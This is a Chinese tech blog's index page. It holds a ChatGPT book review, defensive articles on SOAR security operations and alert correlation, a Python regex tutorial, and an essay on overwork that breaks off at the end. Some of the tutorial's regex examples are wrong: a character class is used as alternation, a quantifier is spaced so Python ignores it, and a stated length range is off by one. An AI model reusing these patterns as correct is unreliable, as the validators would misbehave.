XieJava's blog

记录最好的自己


  • 首页

  • 分类

  • 标签

  • 归档

  • 关于

拥抱AI-ChatGPT:人类新纪元

发表于 2023-10-28 | 更新于: 2025-08-10 | 分类于 读书 | | 阅读次数:
字数统计: 2.1k | 阅读时长 ≈ 7

ChatGPT

最近大模型通用智能应用持续发酵,各大科技公司都陆续推出了基于通用大模型的智能应用产品,典型的如OpenAI的ChatGPT、微软的BingChat、百度的文心一言、360的智脑、阿里的通义千问等。当然最火的要属于ChatGPT了,从去年年底推出到现在已经有很多人体验了,并惊叹于如今的人工智能已经发展到无所不知、无所不能的程度了。

市面上推出了很多介绍ChatGPT的书,覆盖了包括使用指南、原理说明、应用介绍等等各个方面。如果从一个以前从没了解过AI技术的小白想去初步了解ChatGPT不妨去看看《ChatGPT:人类新纪元》这本书。这本书是“搜狗输入法之父”,美团顾问,现任美团光年产品经理,被王兴称为“美团光年首席AGI布道师”马占凯马老师所著。虽然目前豆瓣评分6.8不算高,但是我个人认为作为ChatGPT的科普读物,包含了深入浅出的常识性的普及,以及对人工智能相关历史的概述和推演等,高度概括,其中还有很多有趣的故事,很好读,挺有价值的。这本书的定位就是科普,我觉得已经做到了。

ChatGPT:人类新纪元

经过一段时间对ChatGPT的使用,我逐步认同书中对“ChatGPT:人类新纪元”的提法。ChatGPT,如同人类历史上的单向门——火、文字、造纸、蒸汽机、电和计算机一样,ChatGPT的横空出世让大家看到了通用人工智能达到了崭新新的高度,标志着人类科技进步的又一重大里程碑,预示着我们正步入通用人工智能的新纪元。就像2007年乔布斯发布划时代的苹果智能手机iphone后,各种互联网移动应用蜂拥而至,大家再也离不开智能手机了,从此开始了移动互联的新纪元。

一、ChatGPT之初体验

对于一个码农,初接触ChatGPT时就想验证一下ChatGPT的编程功底,最近正好在研究用机器学习来识别心电图。如是问了一下ChatGPT如何用Python写一段心电图识别波形的代码。
看一下ChatGPT给我的答案:
ChatGPT代码

关键是这段代码稍作调整就可以运行起来。

chatGPT代码运行结果
看上去效果还不错!

这可不是向搜素引擎一样搜出一堆的结果给出一堆的选项让我来选,而是真正的根据我的题意自己生成了一段可以执行的代码!这就有点牛逼了。

原来一直以为码农毕竟还是干技术活的,不会像那些从事简单重复劳动的活一样被AI所替代。但是看到ChatGPT给我的答案,又更进一步的加深了我的焦虑。本来就很卷的IT行业,还要和通用人工智能卷,估计用不了多久码农这个职业就会要消失了。

二、ChatGPT与搜索引擎

有人认为ChatGPT就是搜索引擎的升级版,输入一些信息机器就给你反馈一些经过精细过滤后的信息。ChatGPT与搜索引擎完全是两类不同的东西。差别就和智能手机与以前的功能手机一样大。

ChatGPT是通过海量的数据学习后,具备真正具有智能能力的,给出的内容是根据自身的学习自动生成的。也就是我们常说的生成式AI,是一种能够从其训练数据中学习并生成新的、类似的数据或模型的机器学习技术。这种方法不依赖于预先定义的规则或模式,而是通过自我学习和适应来改进其性能。

与传统的AI相比,生成式AI的主要区别在于其学习方式和能力。传统的AI通常依赖于专家知识或编程指令来执行特定的任务。例如,一个图像识别系统可能被训练成只识别特定的图像类型,如猫或狗。然而,一旦这个系统遇到它从未见过的图像,它就无法做出正确的判断。

相反,生成式AI可以通过自我学习和适应来提高其性能。即使它从未见过某种类型的数据,它也可以通过分析大量的类似数据来学习如何处理这种数据。例如,ChatGPT通过海量的数据学习可以自动生成给出符合题意的答案。

而搜索引擎甚至连传统的AI都算不上,只是通过大数据的搜索算法将符合搜索条件的信息查询后返回到你,你还要根据自己的判断去识别和删选有用的信息。尤其是有了竞价模型后,可能搜索引擎给你的数据排名前几的都是对你来说没有什么用的,只是出价高的几个。

三、机器学习与人类学习

机器学习其实是和人类学习是一样的。基本原理如下图所示:
学习模型

机器学习的输入是海量的数据,通过模型的训练从数据中学习,生成并输出新的数据,根据输出的效果的进行评估和反馈来调整模型参数使模型的学习效果达到最优。

人类学习也是一样的,平时我们努力大量的看书、看视频、看其他资料、与人交流,其实都是在获取信息,将信息输入至大脑后,大脑经过思考输出结果,结果是对世界的认知、对人生的看法、对专业知识的领悟、输出一篇论文、输出一次演讲等等。也是对自己输出的结果进行评估和反馈来强化学习效果。

比如:学生通过大量的阅读和做题作为输入来学习知识,通过考试来评估学习效果,根据考试评估的结果来调整自己的学习方法策略来取得更好的学习成绩。

我们也是一样的,要想提高自己的认知和能力,就要通过大量的阅读(输入)、思考(学习)、不断的反思(反馈评估)、不断的思考调整学习方法策略等(优化模型参数),最终提高自身的能力,可以有高水平的认知输出(输出)。

四、智能涌现与从量变到质变

“智能涌现” 是一个涵盖广泛领域的概念,它描述了在复杂系统中,智能行为或性能如何从简单组件或个体之间的互动中产生或 “涌现” 出来。在机器学习中,神经网络和深度学习模型可以通过大量的神经元之间的互连来实现智能任务。

在ChatGPT惊人的智能表现背后,就发生了智能涌现的现象。涌现现象是极为复杂的,因为复杂性科学就是复杂的,复杂是其基本特征。通俗的将就是当数据和模型参数达到一定的数量级后模型涌现出了新的完成任务的能力。

目前,在大模型的智能涌现方面,有三个结论。
第一,我们不知道什么时候会涌现某种新能力;
第二,我们不知道到一定规模时会涌现哪一种新的能力。
第三,我们唯一知道的是,只要数据量足够大,训练得足够深,一定会有涌现发生。

于是,我不禁又要拿出这张图:
在这里插入图片描述

这张图可以理解为从量变到质变的过程。在人类学习的过程中,学任何东西,如:学习英语,只要输入足够多通过大量的听说读写(数据量足够大),投入的时间精力够多(训练得足够深),一定会有拐点(涌现)发生,一定会成功,就像顿悟后开了挂一样。

既然基于大模型的通用人工智能不可避免的来了,就让我们一起拥抱吧!


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

SOAR安全事件编排自动化响应-安全运营实战

发表于 2023-10-18 | 更新于: 2025-08-10 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 4.2k | 阅读时长 ≈ 14

SOAR是最近几年安全市场上最火热的词汇之一。各个安全产商都先后推出了相应的产品,但大部分都用得不是很理想。SOAR不同与传统的安全设备,买来后实施部署就完事,SOAR是一个安全运营系统,是实现安全运营过程中人、工具、流程的有效协同,提高安全运营效率的平台。核心在于运营,在运营的过程中不断结合自身企业的安全情况,对接设备、优化剧本流程、制定相应的制度来发挥SOAR安全事件编排自动化响应系统的最大的效果。在安全运营实战过程中人员、工具、流程、制度一个都不能少。本文介绍如何通过SOAR安全事件编排自动化响应进行实战化的安全运营。

一、企业安全运营的通点

1. 手段不足,事件响应时间长
目前安全事件的处置常常需要涉及到不同部门、不同的安全设备之间的协同联动,依靠人工电话协同、邮件协同等手段,缺少统一的安全管理和自动化编排系统,不能将繁杂安全运行过程梳理为任务和剧本,把分散的安全工具与功能转化为可编程的应用和动作。人工方式协同事件长,效率低。

2. 单兵作战,安全运营效率低
安全设备众多,多厂商多类型安全设备,无法有效的形成合力,每类设备都要有人单独的维护、监控、处置,无法形成合力。没有统一的运营系统,无法将团队、工具和流程的高度协同起来,覆盖安全运行的防护、检测、响应等各个环节,安全运营效率低。

3. 人员匮乏,运营知识无积累
安全运营往往借助于外部的安全运营支撑力量,尤其是重保期间过度依赖厂商资源,重保结束后并没有形成知识积累;另一方面由于安全运营人员匮乏,技能水平受困于重复性劳动难以提升,而优秀的工程师的经验也难以形成标准化的流程和动作。

二、企业安全运营的目标

针对威胁事件及安全运营痛点问题,通过建设安全编排功能实现自动化响应处置能力,完成原来需要多人多系统多界面在线协同才能处置的安全任务,简化威胁管理难度,提升响应处置效率,保障应急处置质量。从防护、检测、响应、处置等维度,形成立体防护效果,提升网络安全自动化响应处置及统一作战指挥能力。

1. 实现多场景剧本编排能力
安全编排功能实现自动化响应处置,核心能力是要实现多场景的剧本灵活编排能力,通过可视化拖拽编排方式快速创建剧本,为安全处置提供上下文,避免传统运维要在不同页面间进行跳转切换,降低安全事件处置复杂度。剧本一旦创建成功启用,后续触发剧本的事件即可通过自动化方式进行处置,降低了不同部门间协同沟通、流程流转消耗的成本。解决现有安全事件处置依靠电话、邮件进行信息传递,依靠人工进行威胁处置慢的问题。

2.具备灵活的设备对接能力
打通告警、事件与安全处置设备之间已有的壁垒,消除异构环境下异构设备无法协同、联动的问题,提供标准化的处置派单接口,实现设备的处置联动。具备低代码开发和编排能力使安全设备快速的融入到剧本流程进行灵活调度。解决异构安全设备间集成、联动处置的问题,实现多源异构安全设备的联动处置能力提升。

3. 基于实际运营的知识积累
实现在安全运营过程的统一的数字化、标准化的安全运营管理流程,在实际的运营过程中将经验固化成剧本流程,以应对繁杂和重复的工作,降低安全事件处置管理成本,降低安全人员工作强度和工作经验能力等的高要求;记录安全事件数据,以可视化的形成评估处理结果,减少人员差异带来的不可控性,并减少对新安全运维分析人员的培训成本。

三、SOAR的核心能力

SOAR整体架构

安全事件处置通过安全编排与自动化响应SOAR模块实现,SOAR对接安全大数据分析引擎分析的产生的安全事件或其他如态势感知、日志系统等安全设备的安全事件,通过灵活的剧本编排实现自动的派发工单、自动化分析处置、联动设备响应,实现数据交互与业务同步,促进人、工具、流程的协同,进一步推动自动化安全运营能力落地。SOAR应该具备三大核心能力,编排、自动化、响应,参见《认识SOAR-安全事件编排自动化响应》

编排

SOAR中的关键词是编排,这是在使用自动化和响应之前必须构建的关键组件。SOAR的编排体现的是一种协调和决策的能力,针对复杂性的安全事件,通过编排将分析过程中各种复杂性分析流程和处理平台进行组合。分析涉及多种数据或平台,如SIEM分析平台、漏洞管理平台、情报数据、资产数据等。处置响应的编排也涉及到很多平台或设备,如EDR管理平台、运维管理平台、工单管理平台、WAF设备、防火墙等。仅仅以技术为中心的安全保障已不再能满足现状,将人员和流程的编排才能保证安全流程真正高效的运行。SOAR的终极目标就是实现技术、流程、人员的无缝编排。

自动化

SOAR的自动化体现在三个方面,面对需要处理的安全事件能够根据策略自动选择编排的剧本、自动执行剧本的操作流程、根据决策结果自动联动设备进行防护阻断等行动策略。它允许剧本(常称为Playbooks)在安全流程的部分或全部内容上执行多个任务,将线性剧本串联起来。虽然线性剧本可能更容易创建,但只适用于处理决策需求较少的工作流。编排和自动化比线性剧本的最大优势就是其灵活性,为支持全自动化和半自动化的决策,需要更加灵活的工作流和执行剧本。SOAR能够识别这些决策模式,并基于以往事件中的执行操作,自动推荐新事件的剧本、执行剧本操作流程,自动化分析决策,根据决策结果自动下发防护阻断的行动策略。

响应

安全事件响应包括告警管理、工单管理、案件管理等功能。告警管理的核心不仅是对告警安全事件的收集、展示和响应,更强调告警分诊和告警调查。只有通过告警分诊和告警调查才能提升告警的质量,减少告警的数量。工单管理适用于中大型的安全运维团队协同化、流程化地进行告警处置与响应,并且确保响应过程可记录、可度量、可考核。案件管理是现代安全事件响应管理的核心能力。案件管理帮助用户对一组相关的告警进行流程化、持续化的调查分析与响应处置,并不断积累该案件相关的痕迹物证 (IOC) 和攻击者的战技过程指标信息 (TTP)。多个案件并行执行,从而持续化地对一系列安全事件进行追踪处置。

四、SOAR的安全运营实战

SOAR的安全运营实战,是通过编排好的安全剧本实现人员、流程、工具与知识的贯穿,实现跨区域、跨组织、跨业务、跨设备(系统)安全事件高效运营。
整体流程

在HW及日常安全运营工作中,针对安全设备的统一监控处置、员工办公电脑的安全告警处置、HW重保安全事件处置等典型场景已得到充分实战化应用,通过安全事件的统一管理,从防护、检测、响应、处置等维度,提高了处置效率。可以在实际的安全运营过程中不断的丰富和优化剧本流程。有效支撑网络安全事件运营工作持续向前发展。

场景1:员工电脑中毒安全事件场景

员工电脑中毒安全事件主要是由员工办公终端电脑EDR检测出的病毒、木马后门等恶意软件,SOAR平台对EDR的告警数据进行统一的采集分析,形成场景化事件后通过SOAR进行告警通知,敦促员工对办公电脑进行杀毒处置。

  • 业务流程
    该流程为自动化的流程,SOAR平台接收到员工中毒的安全事件信息后,自动发邮件或发短信通知员工,员工收到告警通知信息后对自己的办公终端电脑进行杀毒处理。如果三天内还没有处理,将继续发邮件或短信进行通知告警。

具体实战剧本流程如下图所示:
员工电脑中毒安全事件

  • 人员配置

人员配置如下表所示:

序号 角色名称 所需技能 承担的工作内容
1 企业员工 能够维护自己的办公终端电脑完成自己办公终端电脑的安全。 进行杀毒软件的安装、病毒库升级、杀毒扫描。

场景2:安全设备告警安全事件场景

安全设备告警安全事件主要是由部署在网络环境下的主机安全检测设备、WAF、IPS、蜜罐等探针检测出的各类异常安全事件行为,SOC平台进行统一的采集、分析,最终形成场景化事件,进行派单处置的闭环管理。

  • 业务流程
    1)一线监控人员发现在SOC平台上有触发的安全事件后,根据事件携带的原始安全日志信息进行初步研判分析;
    2)如一线人员研判该事件为误报事件,则直接处置完成,同时记录事件相关的攻击特征值,进一步完善白名单;
    3)如一线人员研判该事件为高风险事件,则将攻击IP地址报送至网络安全运营部安全员,由安全员进行IP地址封堵操作;
    4)当网络安全运营部处置完毕后,通知一线监控人员结束该业务流程,最终形成闭环机制;
    5)如一线人员无法研判该事件严重程度,则上升二线安全分析人员进行深入研判,二线安全分析人员将研判最终结果反馈至一线监控人员,再由一线监控人员根据实际情况选择下一步处置动作。

具体实战剧本流程如下图所示:
安全事件监控处置

  • 人员配置

人员配置如下表所示:

序号 角色名称 所需技能 承担的工作内容
1 安全监控员 能够初步判断安全事件影响范围及基本的应急处理措施 完成简单安全事件的处置工作,督促业务部门完成安全事件处置,做好安全事件处置的全流程管控
2 二线运营员 能够根据安全数据上下文判断安全事件的可信度及影响范围,能够利用各种手段开展攻击溯源及应急响应 完成复杂安全事件的研判工作,为一线监控人员提供技术指导
3 部门安全员 能够掌握本部门各业务系统层面、主机层面的应急流程和实际处置操作方法 配合完成IP地址封堵操作

场景3:重保HW安全事件处置场景

重保HW安全事件主要是由包括WAF设备、VPN、蜜罐、EDR、全流量等各类安全设备检测出的对重点关注的重要靶标系统的各类攻击行为,SOAR平台对这些安全告警事件进行统一的采集、分析,最终形成场景化事件,通过SOAR进行派单调用相关的插件工具进行告警通知、资产判断、情报查询、IP封堵、协同相应的人员进行研判处置等的闭环管理。

  • 业务流程
    1)监控人员发现安全事件后,根据事件携带的原始安全日志信息进行初步研判分析;
    2)如研判组通过溯源研判该事件为误报事件,则直接处置完成,同时记录事件相关的攻击特征值,进一步完善白名单;
    3)如研判组研判该事件为高风险事件,则转处置组进行处置,由处置人员进行确定通过插件自动化实现IP地址封堵操作;
    4)处置组处置完成后进行封堵IP入库,避免被封堵IP的重复告警。

具体实战剧本流程如下图所示:
重保HW事件处置流程

  • 人员配置

人员配置如下表所示:

序号 角色名称 所需技能 承担的工作内容
1 安全监控员 能够初步判断安全事件影响范围及基本的应急处理措施完成简单安全事件的处置工作,督促业务部门完成安全事件处置,做好安全事件处置的全流程管控
2 研判组 能够根据安全数据上下文判断安全事件的可信度及影响范围,能够利用各种手段开展攻击溯源及应急响应 完成复杂安全事件的研判工作,为一线监控人员提供技术指导
3 处置组 对IP进行封堵响应处置。 完成IP地址封堵操作

因为SOAR具有灵活定义剧本的能力,在实际的运营中可以根据自身企业的实际情况,为自身企业量身定制符合自身管理制度要求和人员配置情况的安全运营剧本流程,除了事件处置以外还可以编排如资产稽核管理剧本、暴露面清查剧本、漏洞管理剧本、安全设备巡检剧本等等。

相关制度要求

(一) 企业应建立7*24小时网络安全监测和处置机制,对所辖网络设备和系统平台开展监测,对重要系统应开展专项监测,将安全监测和事件处置统一纳入安全运营中心,事件处置统一由SOAR安全事件编排自动化响应进行处置。

(二) 应将安全工单纳入SOAR工单管控体系。安全运营支撑单位督促安全工单各环节责任人响应和处置,按流程进行超时工单升级,开展工单闭环管控。

(三) 安全运营支撑单位应优化安全监控手段,按月开展告警分析,优化安全设备和平台告警规则,持续提升安全告警准确率。

(四) 安全运营支撑单位应持续关注内外部威胁情报,实时发布威胁预警,提供处置建议和技术支撑,跟踪问题解决,安全运营维护单位应及时评估威胁影响,根据处置建议制定处置方案并实施。


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

告警繁杂迷人眼,多源分析见月明

发表于 2023-10-07 | 更新于: 2025-08-10 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 946 | 阅读时长 ≈ 3

告警繁杂迷人眼

随着数字化浪潮的蓬勃兴起,网络安全问题日趋凸显,面对指数级增长的威胁和告警,传统的安全防御往往力不从心。网内业务逻辑不规范、安全设备技术不成熟都会导致安全设备触发告警。如何在海量众多安全告警中识别出真正的网络安全攻击事件成为安全运营的痛点问题。传统的分析手段,没有从威胁来源和攻击者视角来分析问题,从黑客攻击杀伤链来看,检测点和分析手段严重不足。因此需要从多源安全信息数据融合分析,实现网络攻击精准研判和处置。

从黑客攻击的视角,攻击手段多样,往往是多点突破,层层渗透。因此需要根据纵深防御的思路,在网络的出入口、在应用层、在主机层都要部署相应的安全防护检测设备。如:在企业互联网边界出口部署全流量监测设备,分析获取隐藏在流量中的恶意行为;在应用层部署WAF,分析应用层的攻击行为;在主机层面部署EDR,分析主机层面的异常行为。以攻击者的视角从网络攻击路径出发,对网络层、应用层、主机层的多源安全告警进行联动分析,精准确定安全攻击事件。

具体分析方法如下:
多源数据融合分析精准研判思路

多源数据融合分析精准研判思路

1、多源数据采集。对全流量、WAF、主机安全等检测设备的告警数据进行采集,从告警数据中分析出攻击源IP、目的IP、源端口、目的端口、告警内容、告警级别、载荷信息等有效信息。并对告警数据过滤降噪,首先将源IP、目的IP、源端口、目的端口、告警内容相同的重复告警,以及告警级别为提醒的告警过滤掉。对剩下的告警进行针对性分析,针对告警级别为严重或致命的告警,根据告警内容和载荷信息筛选出潜在的针对性攻击。

2、多源数据关联分析。总结人工研判经验,制定分析模型。如在不同层面的安全设备告警日志中发现相同的攻击源IP和目的IP在同一个时间段都产生了安全告警,说明既在网络侧发现了攻击行为又在应用侧和主机侧发现了攻击行为,通过不同层面告警数据的关联分析和交叉验证,可以确定该攻击是属于高可信的安全攻击事件。

3、封堵处置,对攻击源进行封堵。为了避免错误的封堵影响业务,对源IP结合资产台账、黑白名单、情报数据等进行分析过滤,确定不会影响到业务后进行封堵处置。

安全以“检测”为始,以“处置”为终。在攻击者对目标系统造成最终损害之前,制止损害或降低损失是信息安全体系的最终防线,也是及时响应的目标。以攻击者的视角从网络攻击的路径出发,对网络层、应用层、主机层的多源安全告警进行关联分析,精准确定安全攻击事件。在实战中,可通过以数据和情报驱动,采用自适应安全架构,嵌入工具、流程和策略来对抗新一代威胁。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

Python与正则表达式

发表于 2023-10-06 | 更新于: 2025-08-10 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 2.4k | 阅读时长 ≈ 9

我们在做机器学习项目的时候,很大部分的精力都在做数据的整理,不管是用爬虫在网上爬取数据还是对已有的数据进行整理,往往需要对一些特定的字符串进行处理,正则表达式则是进行数据处理的利器。

一、什么是正则表达式

正则表达式,又称规则表达式,(Regular Expression,在代码中常简写为regex、regexp或RE),是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为”元字符”),是计算机科学的一个概念。正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串,通常被用来检索、替换那些符合某个模式(规则)的文本。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。

简单来说,正则表达式就是使用:字符串定义规则,并通过规则去验证字符串是否匹配。
比如,验证一个字符串是否是符合条件的电子邮箱地址,只需要配置好正则规则,即可匹配任意邮箱。

比如通过正则规则: (^[\w-]+(.[\w-]+)*@[\w-]+(.[\w-]+)+$) 即可匹配一个字符串是否是标准邮箱格式。但如果不使用正则,使用if else来对字符串做判断就非常困难了。

二、Python中如何使用正则表达式

正则表达式的使用分两部分,一是编写模式(规则)文本,也就是正则表达式;二是通过具体的编程语言来使用正则表达式进行使用,在Python语言中通过re 模块使 Python 语言拥有全部的正则表达式功能。

1、正则表达式模式的编写

模式字符串使用特殊的语法来表示一个正则表达,由一些普通字符和一些元字符(metacharacters)组成。

字母和数字表示他们自身。一个正则表达式模式中的字母和数字匹配同样的字符串。
多数字母和数字前加一个反斜杠时会拥有不同的含义。
标点符号只有被转义时才匹配自身,否则它们表示特殊的含义。
反斜杠本身需要使用反斜杠转义。

普通字符包括大小写的字母和数字,而元字符则具有特殊的含义,在最简单的情况下,一个正则表达式看上去就是一个普通的字符串。例如,正则表达式"xiejava"中没有包含任何元字符,它可以匹配"xiejava"和"xiejava1018"等字符串,但是不能匹配"XieJava"。

在刚刚我们只是进行了基础的字符串匹配,正则最强大的功能在于元字符匹配规则,常见的元字符匹配规则如下:

  • 单字符匹配:
字符 功能
. 匹配任意1个字符(除了\n) , .匹配点本身
[ ] 匹配[]中列举的字符
\d 匹配任意数字,等价于 [0-9]
\D 匹配任意非数字
\s 匹配任意空白字符,即空格、tab键,等价于 [\t\n\r\f]
\S 匹配任意非空字符
\w 匹配单词字符,即a-z、A-Z、0-9、
\W 匹配非单词字符
  • 数量匹配:
字符 功能
* 匹配前一个规则的字符出现0至无数次
+ 匹配前一个规则的字符出现1至无数次
? 匹配前一个规则的字符出现0次或1次
{m} 匹配前一个规则的字符出现m次
{m,} 匹配前一个规则的字符出现最少m次
{m,n} 匹配前一个规则的字符出现m到n次
  • 边界匹配:
字符 功能
^ 匹配字符串开头
$ 匹配字符串结尾
\b 匹配一个单词的边界
\B 匹配非单词边界
  • 分组匹配:
字符 功能
| 匹配左右任意一个表达式
() 将括号中字符作为一个分组

示例:
匹配账号,只能由字母和数字组成,长度限制6到10位
规则为: [0-9a-zA-Z]{6, 10}$

匹配QQ号,要求纯数字,长度4-10,第一位不为0
规则为:[1-9][0-9]{4, 10}
[1-9]匹配第一位,[0-9]匹配后面4到10位

匹配邮箱地址,只允许qq、163、189这三种邮箱地址
规则为:[a-zA-Z0-9_.]+@[qq|163|189]+[.a-zA-Z]+

2、Python中re模块的基础使用

Python中re模块常用的正则表达式包括以下四个主要方法:

  • 使用match()进行准确匹配
    re.match 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match() 就返回 none。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re

account_pattern='^[0-9a-zA-Z]{6,9}$'

account_str1='xiejava1018'
account_str2='xiejava'
account_str3='xie'

result1=re.match(account_pattern,account_str1)
print(result1)
result2=re.match(account_pattern,account_str2)
print(result2)
result3=re.match(account_pattern,account_str3)
print(result3)

运行结果为:

1
2
3
None
<re.Match object; span=(0, 7), match='xiejava'>
None

匹配成功 re.match 方法返回一个匹配的对象,否则返回 None。
我们可以使用 group(num) 或 groups() 匹配对象函数来获取匹配表达式。

1
2
if result2:
print(result2.group())

运行结果为:

1
xiejava
  • 使用search()首次匹配查找
    match()方法是从字符串的开头开始匹配,一旦起始位置不匹配,match() 就返回 none,整个匹配就失败了,它更适合用来检验某个字符串是否符合某个正则表达式的规则。常用来做格式的校验。如要实现在一段文本中查找符合正则表达式的字符串,可以用re.search(),它扫描整个字符串并返回第一个成功的匹配。
1
2
3
4
5
6
7
8
9
10
qq_pattern = '[1-9][0-9]{4,10}'

qq_str1='我的QQ号是:4002692和3641250'

result_qq_match=re.match(qq_pattern,qq_str1)
print(result_qq_match)
result_qq_search=re.search(qq_pattern,qq_str1)
print(result_qq_search)
if result_qq_search:
print(result_qq_search.group())

运行结果:

1
2
3
None
<re.Match object; span=(7, 14), match='4002692'>
4002692

在这可以看出,match()因为是起始位置匹配所以QQ号4002692没有匹配上,而search()它是扫描整个字符串找到第一个匹配成功的就返回了,实际上在这个例子中还有个3641250的QQ号。如果要找到所有的匹配就要用到re.findall()方法了。

  • 使用findall()所有匹配查找
    findall()在字符串中找到正则表达式所匹配的所有子串,并返回一个列表,如果有多个匹配模式,则返回元组列表,如果没有找到匹配的,则返回空列表。
    注意: match 和 search 是匹配一次 findall 匹配所有。
1
2
result_qq_findall=re.findall(qq_pattern,qq_str1)
print(result_qq_findall)

运行结果:

1
['4002692', '3641250']

可以看到通过re.findall()方法匹配到了两个QQ号。

  • 使用sub()匹配替换
    在做数据处理的时候,经常碰到的场景是找到某个匹配项,替换成一个新的字符串。这时就可以用到re.sub()进行匹配替换了。
1
2
3
4
5
6
email_pattern='[a-zA-Z0-9_\.]+@[qq|163|189]+[\.a-zA-Z]+'
email_str1='我的email是:xiejava@qq.com、xiejava1018@163.com、xiejava@189.com、xiejava@sohu.com'
result_email_findall=re.findall(email_pattern,email_str1)
print(result_email_findall)
email_str2=re.sub('[a-zA-Z0-9_\.]+@','****@',email_str1)
print(email_str2)

运行结果:

1
2
['xiejava@qq.com', 'xiejava1018@163.com', 'xiejava@189.com']
我的email是:****@qq.com、****@163.com、****@189.com、****@sohu.com

在这里可以看到,我们通过re.findall()匹配到了qq、163、189的邮箱。通过re.sub()将所有的邮箱的账号匹配后替换成了****进行脱敏处理。

正则表达式可以包含一些可选标志修饰符来控制匹配的模式。修饰符被指定为一个可选的标志。多个标志可以通过按位 OR(|) 它们来指定。如 re.I | re.M 被设置成 I 和 M 标志:

修饰符 描述
re.I 使匹配对大小写不敏感
re.L 做本地化识别(locale-aware)匹配
re.M 多行匹配,影响 ^ 和 $
re.S 使 . 匹配包括换行在内的所有字符
re.U 根据Unicode字符集解析字符。这个标志影响 \w, \W, \b, \B.
re.X 该标志通过给予你更灵活的格式以便你将正则表达式写得更易于理解。

使用实例如下:

1
2
3
4
5
6
7
match_pattern='xiejava'

account_str1='XieJava is xiejava'
result1=re.match(match_pattern,account_str1)
print(result1)
result2=re.match(match_pattern,account_str1,re.I)
print(result2)

运行结果:

1
2
None
<re.Match object; span=(0, 7), match='XieJava'>

可以看到在没有指定re.I的时候没有匹配到XieJava,指定re.I后使匹配对大小写不敏感,可以匹配到Xiejava

三、正则表达式的应用

给定一个正则表达式和另一个字符串,我们可以达到如下的目的:

  1. 判断给定的字符串是否符合正则表达式的过滤逻辑(称作“匹配”)
    应用场景为格式效验,如身份证、Email、手机号码的数据效验等。

  2. 可以通过正则表达式,从字符串中获取我们想要的特定部分
    应用场景如:爬虫程序爬取数据时进行信息的提取,从文本中提取特定的部分。

  3. 可以通过正则表示式进行查找替换,将字符串中符合匹配条件的项替换成特定的字符
    应用场景如:机器学习中的数据清洗整理,将某些数据进行查找替换等。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

连续加班几个月,放假还要带电脑,我在思考工作的意义

发表于 2023-09-30 | 更新于: 2025-08-10 | 分类于 人生 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 4

对于了解IT这个行业的人来说,这个行业的内卷程度超乎了大家的想像,工作真的很累,加班已经成为整个行业的标签。不管是去哪里笔记本电脑都得随身带,就像随时待命的特种兵,接到命令随时马上要展开战斗。有的时候在系统出事或者需求比较紧急的时候,无论哪里都会成为工作场所,可能旅游景点、可能是商场、可能是高铁地铁上、也有可能是路边……

在线系统出bug了他们就是救火员!想必很多人都经历过系统上线后匆忙处理bug,这种时候,就不分周末还是工作日了,更不管白天还是黑夜干就对了!有网友分享了这“经典”的一幕,一天晚上9点多,北京地铁某号线上,这位网友刚下站就看见一个小伙子蹲坐在一个隐蔽的角落,旁边地上放着双肩包,屏幕亮着,小伙正在专心地敲代码。

程序员路边敲代码改bug

作为IT从业者深刻感受到行业之卷,而对于运营商中搞网络安全的从业人员来说那更是“卷王之王”。各种实战演练活动、各种重保活动、安全运营监控值守、各种突发事件应急处置等。连续加班了好几个月,到了国庆假期还得要带上笔记本电脑,生怕有电话进来,基本上没有什么生活质量可言。这段时间,每天早上起床的第一件事就是问自己“这就是我想要的生活吗?”,为此我在思考和寻找工作的意义。

人的本性是趋利避害的,工作这事,本身是违背人本性的——无论什么工作,只要是投入劳力与时间换取物质资料,但在这个时代,工作又是人类最高效的自我满足手段——物质和精神,都是如此。

在《商业模式新生代-个人篇》介绍了工作的四种意义:

  • 工作是谋生手段
    它意味着为了收入而工作,不涉及多少个人因素或满足感。工作即一种实用性活动,就是说完成某事的主要目的是为了得到另一件事。当然作为谋生手段的工作也能产生宝贵的技能和满足感,但其主要目的还是为工作者提供生存基础以追求生活中其他方面的意识。

  • 工作是发展方向
    将工作视为职业,这种观点的前提是工作者的动力源自对成功、成就和身份地位的渴望。此类工作者对工作的态度并不是热情眷恋,而是强调努力工作对自我的回馈,对职业型工作者来说,工作是一种创造、定义、表达、证明和美化自我的方式。将工作视为发展方向是实现人生意义和获得满足感的一个重要来源。

  • 工作是使命召唤
    “天职”这个词源自“天将降大任于斯人也”这一理念。这种“天意”可以是外在动力,如上帝的旨意或社区的需要;也可以是内在动力,如需要向世人展现的天赋使命。这种工作强调的是“个人的义务、责任或使命”。在那个激情燃烧的时代,为社会主义事业奋斗终生是我们的使命召唤;在百年未有之大变局的新时代,突破高科技技术封锁,实现中华民族的伟大复兴是我们的使命召唤。

  • 工作是自我实现
    它一方面体现了工作高度强调兴趣驱动的特征,另一方面淡化了咄咄逼人的“天命”特征。追求自我实现的工作者会选择不同寻常的职业道路,这些选择强调的是个人兴趣而非经济回报或名声威望。这种思考方式也是获得人生意义的一个重要来源。视工作为“自我实现”的人相对来说工作生活更为平衡,他们可以在工作中实现更多的人生意义,同时也不会牺牲家庭欢乐和其他方面的兴趣。

工作对不同的人来说具有不同的意义,工作的意义在很大程度上决定着“我是谁”这个命题的答案。

  • 工作只是生活的手段,享受生活才是目的
    工作是为了更好的生活,它的本质是交换,我们付出时间、经验,换取一部分我们想要的生活自由。我们已经很幸运,大部分的人都能有一份安稳的工作作为谋生手段。不要在谋生的地方找意义,生活才是实现意义的地方。

  • 工作之外的你,才是真正不可替代的
